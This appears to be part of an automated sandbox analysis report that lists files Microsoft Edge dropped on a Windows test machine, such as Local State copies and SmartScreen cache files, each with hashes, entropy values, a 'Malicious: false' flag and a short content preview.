C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF33672.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	56066
Entropy (8bit):	6.103076456432429
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7ynLPGWv/sxtwt7VLyMV/YoskFoz:z/0+zI7ynTv/4KdVeZoskG
MD5:	E4F38CDA2EC6D247D2C2166F5F9027BE
SHA1:	21483786D2F70B93265DE980A6CB06BB6C482BDC
SHA-256:	B4B8F37376B1093CCEFE52C79FCDB6C78B3C7435427F17215F0B04807A0664F1
SHA-512:	F98B2C10E5061751B39C42BC78273BCDB82870531A7F8C40C220E37C8B46607543AB91C3B19DD8EFED8C3D8F13630193434851FB3AD6AE38A94A4D8A4AFA3E1D
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF35d82.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	56066
Entropy (8bit):	6.103076456432429
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7ynLPGWv/sxtwt7VLyMV/YoskFoz:z/0+zI7ynTv/4KdVeZoskG
MD5:	E4F38CDA2EC6D247D2C2166F5F9027BE
SHA1:	21483786D2F70B93265DE980A6CB06BB6C482BDC
SHA-256:	B4B8F37376B1093CCEFE52C79FCDB6C78B3C7435427F17215F0B04807A0664F1
SHA-512:	F98B2C10E5061751B39C42BC78273BCDB82870531A7F8C40C220E37C8B46607543AB91C3B19DD8EFED8C3D8F13630193434851FB3AD6AE38A94A4D8A4AFA3E1D
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF39d0c.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	56066
Entropy (8bit):	6.103076456432429
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7ynLPGWv/sxtwt7VLyMV/YoskFoz:z/0+zI7ynTv/4KdVeZoskG
MD5:	E4F38CDA2EC6D247D2C2166F5F9027BE
SHA1:	21483786D2F70B93265DE980A6CB06BB6C482BDC
SHA-256:	B4B8F37376B1093CCEFE52C79FCDB6C78B3C7435427F17215F0B04807A0664F1
SHA-512:	F98B2C10E5061751B39C42BC78273BCDB82870531A7F8C40C220E37C8B46607543AB91C3B19DD8EFED8C3D8F13630193434851FB3AD6AE38A94A4D8A4AFA3E1D
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.3818353308528755
Encrypted:	false
SSDEEP:	3:2jRo6jhM6ceYcUtS2djIn:5I2uxUt5Mn
MD5:	48324111147DECC23AC222A361873FC5
SHA1:	0DF8B2267ABBDBD11C422D23338262E3131A4223
SHA-256:	D8D672F953E823063955BD9981532FC3453800C2E74C0CC3653D091088ABD3B3
SHA-512:	E3B5DB7BA5E4E3DE3741F53D91B6B61D6EB9ECC8F4C07B6AE1C2293517F331B716114BAB41D7935888A266F7EBDA6FABA90023EFFEC850A929986053853F1E02
Malicious:	false
Preview:	customSettings_F95BA787499AB4FA9EFFF472CE383A14

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings_F95BA787499AB4FA9EFFF472CE383A14

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.014438730983427
Encrypted:	false
SSDEEP:	3:YDMGA2ADH/AYKEqsYq:YQXT/bKE1F
MD5:	BB57A76019EADEDC27F04EB2FB1F1841
SHA1:	8B41A1B995D45B7A74A365B6B1F1F21F72F86760
SHA-256:	2BAE8302F9BD2D87AE26ACF692663DF1639B8E2068157451DA4773BD8BD30A2B
SHA-512:	A455D7F8E0BE9A27CFB7BE8FE0B0E722B35B4C8F206CAD99064473F15700023D5995CC2C4FAFDB8FBB50F0BAB3EC8B241E9A512C0766AAAE1A86C3472C589FFD
Malicious:	false
Preview:	{"forceServiceDetermination":false}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	81
Entropy (8bit):	4.3439888556902035
Encrypted:	false
SSDEEP:	3:kDnaV6bVsFUIMf1HDOWg3djTHXoSWDSQ97P:kDYaoUIe1HDM3oskP
MD5:	177F4D75F4FEE84EF08C507C3476C0D2
SHA1:	08E17AEB4D4066AC034207420F1F73DD8BE3FAA0
SHA-256:	21EE7A30C2409E0041CDA6C04EEE72688EB92FE995DC94487FF93AD32BD8F849
SHA-512:	94FC142B3CC4844BF2C0A72BCE57363C554356C799F6E581AA3012E48375F02ABD820076A8C2902A3C6BE6AC4D8FA8D4F010D4FF261327E878AF5E5EE31038FB
Malicious:	false
Preview:	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	130439
Entropy (8bit):	3.80180718117079
Encrypted:	false
SSDEEP:	1536:RlIyFAMrwvaGbyLWzDr6PDofI8vsUnPRLz+PMh:weWGP7Eh
MD5:	EB75CEFFE37E6DF9C171EE8380439EDA
SHA1:	F00119BA869133D64E4F7F0181161BD47968FA23
SHA-256:	48B11410DC937A1723BF4C5AD33ECDB286D8EC69544241BC373F753E64B396C1
SHA-512:	044C5113D877CE2E3B42CF07670620937ED7BE2D8B3BF2BAB085C43EF4F64598A7AC56328DDBBE7F0F3CFB9EA49D38CA332BB4ECBFEDBE24AE53B14334A30C8E
Malicious:	false
Preview:	{.. "geoidMaps": {.. "au": "https://australia.smartscreen.microsoft.com/",.. "ch": "https://switzerland.smartscreen.microsoft.com/",.. "eu": "https://europe.smartscreen.microsoft.com/",.. "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "in": "https://india.smartscreen.microsoft.com/",.. "test": "https://eu-9.smartscreen.microsoft.com/",.. "uk": "https://unitedkingdom.smartscreen.microsoft.com/",.. "us": "https://unitedstates.smartscreen.microsoft.com/",.. "gw_au": "https://australia.smartscreen.microsoft.com/",.. "gw_ch": "https://switzerland.smartscreen.microsoft.com/",.. "gw_eu": "https://europe.smartscreen.microsoft.com/",.. "gw_ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "gw_ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "gw_ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "gw_in": "https

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.346439344671015
Encrypted:	false
SSDEEP:	3:kfKbUPVXXMVQX:kygV5
MD5:	6A3A60A3F78299444AACAA89710A64B6
SHA1:	2A052BF5CF54F980475085EEF459D94C3CE5EF55
SHA-256:	61597278D681774EFD8EB92F5836EB6362975A74CEF807CE548E50A7EC38E11F
SHA-512:	C5D0419869A43D712B29A5A11DC590690B5876D1D95C1F1380C2F773CA0CB07B173474EE16FE66A6AF633B04CC84E58924A62F00DCC171B2656D554864BF57A4
Malicious:	false
Preview:	synchronousLookupUris_638343870221005468

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris_638343870221005468

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	57
Entropy (8bit):	4.556488479039065
Encrypted:	false
SSDEEP:	3:GSCIPPlzYxi21goD:bCWBYx99D
MD5:	3A05EAEA94307F8C57BAC69C3DF64E59
SHA1:	9B852B902B72B9D5F7B9158E306E1A2C5F6112C8
SHA-256:	A8EF112DF7DAD4B09AAA48C3E53272A2EEC139E86590FD80E2B7CBD23D14C09E
SHA-512:	6080AEF2339031FAFDCFB00D3179285E09B707A846FD2EA03921467DF5930B3F9C629D37400D625A8571B900BC46021047770BAC238F6BAC544B48FB3D522FB0
Malicious:	false
Preview:	9.......murmur3.............,M.h...Z...8.\..<&Li.H..[.?m

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	4.030394788231021
Encrypted:	false
SSDEEP:	3:0xXeZUSXkcVn:0Re5kcV
MD5:	52E2839549E67CE774547C9F07740500
SHA1:	B172E16D7756483DF0CA0A8D4F7640DD5D557201
SHA-256:	F81B7B9CE24F5A2B94182E817037B5F1089DC764BC7E55A9B0A6227A7E121F32
SHA-512:	D80E7351E4D83463255C002D3FDCE7E5274177C24C4C728D7B7932D0BE3EBCFEB68E1E65697ED5E162E1B423BB8CDFA0864981C4B466D6AD8B5E724D84B4203B
Malicious:	false
Preview:	topTraffic_638004170464094982

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_170540185939602997400506234197983529371

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	575056
Entropy (8bit):	7.999649474060713
Encrypted:	true
SSDEEP:	12288:fXdhUG0PlM/EXEBQlbk19RrH76Im4u8C1jJodha:Ji80e9Rb7Tm4u8CnR
MD5:	BE5D1A12C1644421F877787F8E76642D
SHA1:	06C46A95B4BD5E145E015FA7E358A2D1AC52C809
SHA-256:	C1CE928FBEF4EF5A4207ABAFD9AB6382CC29D11DDECC215314B0522749EF6A5A
SHA-512:	FD5B100E2F192164B77F4140ADF6DE0322F34D7B6F0CF14AED91BACAB18BB8F195F161F7CF8FB10651122A598CE474AC4DC39EDF47B6A85C90C854C2A3170960
Malicious:	false
Preview:	...._+jE.`..}....S..1....G}s..E....y".Wh.^.W.H...-...#.A...KR...9b........>k......bU.IVo...D......Y..[l.yx.......'c=..I0.....E.d...-...1 ....m../C...OQ.........qW..<:N.....38.u..X-..s....<..U.,Mi..._.......`.Y/.........^..,.E..........j@..G8..N.... ..Ea...4.+.79k.!T.-5W..!..@+..!.P..LDG.....V."....L.... .(#..$..&......C.....%A.T}....K_.S..'Q.".d....s....(j.D!......Ov..)d0)."(..%..-..G..L.}....i.....m9;.....t.w..0....f?..-..M.c.3.....N7K.T..D>.3.x...z..u$5!..4..T.....U.O^L{.5..=E..'..;.}(\|.6.:..f!.>...?M.8......P.D.J.I4.<....y.E....>....i%.6..Y.@..n.....M..r..C.f.;..<..0.H...F....h.......HB1]1....u..:...H..k....B.Q..J...@}j~.#...'Y.J~....I...ub.&..L[z..1.W/.Ck....M.......[.......N.F..z.{nZ~d.V.4.u.K.V.......X.<p..cz..>....X...W..da3(..g..Z$.L4.j=~.p.l.\.[e.&&.Y ...U)..._.^r0.,.{_......`S..[....(.\..p.bt.g..%.$+....f.....d....Im..f...W ......G..i_8a..ae..7....pS.....z-H..A.s.4.3..O.r.....u.S......a.}..v.-/..... ...a.x#./:...sS&U.().xL...pg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_638004170464094982

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	raw G3 (Group 3) FAX, byte-padded
Category:	dropped
Size (bytes):	460992
Entropy (8bit):	7.999625908035124
Encrypted:	true
SSDEEP:	12288:KaRwcD8XXTZGZJHXBjOVX3xFttENr4+3eGPnKvJWXrydqb:KaR5oZ2MBFt8r4+3eG/URdqb
MD5:	E9C502DB957CDB977E7F5745B34C32E6
SHA1:	DBD72B0D3F46FA35A9FE2527C25271AEC08E3933
SHA-256:	5A6B49358772DB0B5C682575F02E8630083568542B984D6D00727740506569D4
SHA-512:	B846E682427CF144A440619258F5AA5C94CAEE7612127A60E4BD3C712F8FF614DA232D9A488E27FC2B0D53FD6ACF05409958AEA3B21EA2C1127821BD8E87A5CA
Malicious:	false
Preview:	...2lI.5.<C.;.{....._+jE.`..}....-...#.A...KR...l.M0,s...).9..........x.......F.b......jU....y.h'....L<.....Z..%...._...g.4yu...........'c=..I0..........qW..<:N....<..U.,Mi..._......'(..U.9.!........u....7...4. ..Ea...4.+.79k.!T.-5W..!..@+..$..t\|1.E..7F...+..xf....z&_Q...-.B...)8R.c....0.......B.M.Z...0....&v..<..H...3.....N7K.T..D>.8......P.D.J.I4.B.H.VHy...@.Wc.Cl..6aD..j.....E..4..mI..X]2.GH.G.L...E.F.=.J...@}j~.#...'Y.L[z..1.W/.Ck....L..X........J.NYd........>...N.F..z.{nZ~d.N..../..6.\L...Q...+.w..p...>.S.iG...0]..8....S..)`B#.v..^..T.?...Z.rz.D'.!.T.w....S..8....V.4.u.K.V.......W.6s...Y.).[.c.X.S..........5.X7F...tQ....z.L.X..(3#j...8...i.[..j$.Q....0...]"W.c.H..n..2Te.ak...c..-F(..W2.b....3.]......c.d\|.../....._...f.....d....Im..g.b..R.q.<xx...i2..r.I()Iat..b.j.r@K.+5..C.....nJ.>P,.V@.....s.4.3..O.r.....smd7...L.....].u&1../t.*.......uXb...=@.....wv......]....#.{$.w......i.....\|.....?....E7...}$+..t).E.U..Q..~.`.)..Y@.6.h.......%(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	9
Entropy (8bit):	3.169925001442312
Encrypted:	false
SSDEEP:	3:CMzOn:CM6
MD5:	B6F7A6B03164D4BF8E3531A5CF721D30
SHA1:	A2134120D4712C7C629CDCEEF9DE6D6E48CA13FA
SHA-256:	3D6F3F8F1456D7CE78DD9DFA8187318B38E731A658E513F561EE178766E74D39
SHA-512:	4B473F45A5D45D420483EA1D9E93047794884F26781BBFE5370A554D260E80AD462E7EEB74D16025774935C3A80CBB2FD1293941EE3D7B64045B791B365F2B63
Malicious:	false
Preview:	uriCache_

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache_

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	179
Entropy (8bit):	5.0141483715450335
Encrypted:	false
SSDEEP:	3:YTyLSmafBoTfIeRDHtDozRLuLgfGBkGAeekVy8HfzXNPIAclUT5YV:YWLSGTt1o9LuLgfGBPAzkVj/T8lUc
MD5:	DC0A61209D6262001ED06779113C4F99
SHA1:	05899F69E8E9667A53C610C770A82547806DB4DC
SHA-256:	8D49E5BF936A9D7076FB6E1C3AE7C05854D8F5F5C8F36A1EA328429A162CC324
SHA-512:	C5BE28F6C798212DF285EA7876ECC88BC37B29D3D9D39A1F14803B9B83666EAFB4B138E1516A485B00A38946D7ED4BF9AE9CC29FF00CE104E123DF32E31CF1D4
Malicious:	false
Preview:	{"version":1,"cache_data":[{"file_hash":"da2d278eafa98c1f","server_context":"1;f94c025f-7523-6972-b613-ce2c246c55ce;unkn:100;0.01","result":1,"expiration_time":1731449867145215}]}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.3751917412896075
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ2rjozQp:YQ3Kq9X0dMgAEwjj
MD5:	F732DBED9289177D15E236D0F8F2DDD3
SHA1:	53F822AF51B014BC3D4B575865D9C3EF0E4DEBDE
SHA-256:	2741DF9EE9E9D9883397078F94480E9BC1D9C76996EEC5CFE4E77929337CBE93
SHA-512:	B64E5021F32E26C752FCBA15A139815894309B25644E74CECA46A9AA97070BCA3B77DED569A9BFD694193D035BA75B61A8D6262C8E6D5C4D76B452B38F5150A4
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":false,"variations_crash_streak":1}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\a706bb9f-6c54-4869-99ed-7fb2a6ed3178.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	57639
Entropy (8bit):	6.1038594193605356
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7ynkPGWv/sxtwkj7VLyMV/YoskFoz:z/0+zI7ynwv/4KGVeZoskG
MD5:	82CD652D7122EF896FD918AAC3BB736D
SHA1:	8F655D50463A0B525A77C57A45F5B502FB464987
SHA-256:	76126A93D21595CE2327C864A3B88AB424B0DA83F8A3174373ACC2623C7B38D0
SHA-512:	BB718429540765230F02DCB2A743428FFC8B357E42ECAC1A9081102B2BE7C142F66277F3990FFA87FBCD8830BB4E5C1CC13EFCE74D4C996B55F12BC59A3E8C84
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\be50a16d-96ae-437e-97ba-f882764ebeb4.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	56066
Entropy (8bit):	6.103076456432429
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7ynLPGWv/sxtwt7VLyMV/YoskFoz:z/0+zI7ynTv/4KdVeZoskG
MD5:	E4F38CDA2EC6D247D2C2166F5F9027BE
SHA1:	21483786D2F70B93265DE980A6CB06BB6C482BDC
SHA-256:	B4B8F37376B1093CCEFE52C79FCDB6C78B3C7435427F17215F0B04807A0664F1
SHA-512:	F98B2C10E5061751B39C42BC78273BCDB82870531A7F8C40C220E37C8B46607543AB91C3B19DD8EFED8C3D8F13630193434851FB3AD6AE38A94A4D8A4AFA3E1D
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\e3137ae7-40cd-4b42-9132-0802ca930f9e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	59068
Entropy (8bit):	6.100445579895297
Encrypted:	false
SSDEEP:	1536:8Mk1rT8HTaWMPGWv/sxtwopXp6aFo07VLyMV/YosE:8MYrT8zwv/4KipfVVeZosE
MD5:	68C9E22E7A49A9EDE78FDE846D765393
SHA1:	0EE600397C64F384BE69A6E4C0A9DC9CA95A2FED
SHA-256:	CAB41EF4C425F3E4352E400B0B52BAEBD3021846F22C2C6988B49ECC72AB4589
SHA-512:	DF6D4311FC47E8676D0C08994C2A36AB8005B4D6A97EC0D2DE7EC861B9DAF38E59A5DCA5CBC105A3742ABECD0A56A8E2AF2F47D4B3BCD9178BC06EAA94285CD5
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"continuous_migration":{"local_guid":"42ca82e5-9980-4686-a7ae-0483918785bf"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1731349069"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMs

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.8645512980667296
Encrypted:	false
SSDEEP:	48:uiTrlKxrgxnNxl9Il8uEhvcawY0TAmGT4I22pZBpu5Od1rc:moYChvcq0TAV4IHpZBI
MD5:	AF61CDF48FED4E6B05FA42816C172AA3
